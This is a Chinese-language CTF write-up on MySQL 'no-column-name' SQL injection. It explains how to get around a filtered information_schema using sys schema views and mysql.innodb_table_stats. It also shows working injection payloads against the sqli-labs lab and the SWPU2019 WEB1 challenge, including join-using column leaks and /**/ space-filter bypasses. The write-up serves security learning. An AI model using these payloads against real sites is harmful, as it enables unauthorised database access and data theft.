这是上次CISCN接触的一个知识点,记录一下:
无列名注入,如其名一样,就是在不知道列名的情况下进行sql注入。
这里需要了解数据库的一些特性:
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。
当这个库被过滤后,如何绕过呢?
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
schema_table_statistics_with_buffer
x$schema_table_statistics_with_buffer
查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table
以上就是几中简单的绕过方式。
通过以上的方法可以获取表名信息了,但是并没有找到类似于information_schema.columns的试视图
利用join-using注列名:
通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
在数据下操作一下:
正常的查询语句
使用union select查询
下面我们将列名替换为对应的数字,比如2对应username
分析下这个语句
select `2` from(select 1,2,3 union select * from users)a;
其中将select 1,2,3 union select * from users查询的内容起别名为a
select `2` from a
a里面有对应的1,2,3列 //这个a可以是任意字符
查询多个列
select concat(`2`,0x2d,`3`) from(select 1,2,3 union select * from users)a;
使用concat函数连接一下,0x2d为-
下面以sql-libs靶场第一关配合上面的库演示一下
?id=0' union select * from (select * from users as a join users as b)as c --+
查询出第一个列名
?id=0' union select*from (select * from users as a join users b using(id))c--+
拿到了第二列值
?id=0' union select * from (select * from users as a join users b using(id,name))c--+
拿到了第三列值
实战 [SWPU2019]WEB1
考点:二次注入+无列名注入
先注册,在登陆,注册的时候卡了一下,显示都是被已注册(自己测试吧)
登录上只有发布广告功能
点击广告详情,可以发现闭合符号是单引号
fuzz发现过滤了空格,or,#
使用group代替order使用//绕过空格,单引号闭合单引号
发现有22列
构造payload**
ac=add&content=nhgn&title=111'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
拿到表名web1
再构造payload**
ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
只有mysql.innodb_table_stats可以用,其他的不存在。
拿到了表名
现在就照应了题目,有表名却没有列名,使用无列表注入
ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
判断出users表里有三个字段
再构造payload
ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
将三列值分别起别名为abc,并用函数连接起来。
总的来说,这题出的很巧妙,使用了二次注入和无列名注入
无列名注入时过滤了很多,join也无法使用。
emmm,就使用了其他的方法,get到了新知识。